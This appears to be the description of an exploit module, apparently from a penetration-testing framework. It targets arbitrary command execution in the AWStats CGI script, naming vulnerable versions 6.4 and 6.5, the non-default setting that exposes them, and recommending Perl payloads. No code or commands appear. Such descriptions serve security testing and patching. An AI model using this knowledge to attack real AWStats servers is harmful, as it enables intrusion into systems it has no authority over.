Description

This module exploits an arbitrary command execution vulnerability in the AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based payloads are recommended with this module. The vulnerability is only present when AllowToUpdateStatsFromBrowser is enabled in the AWStats configuration file (non-default).
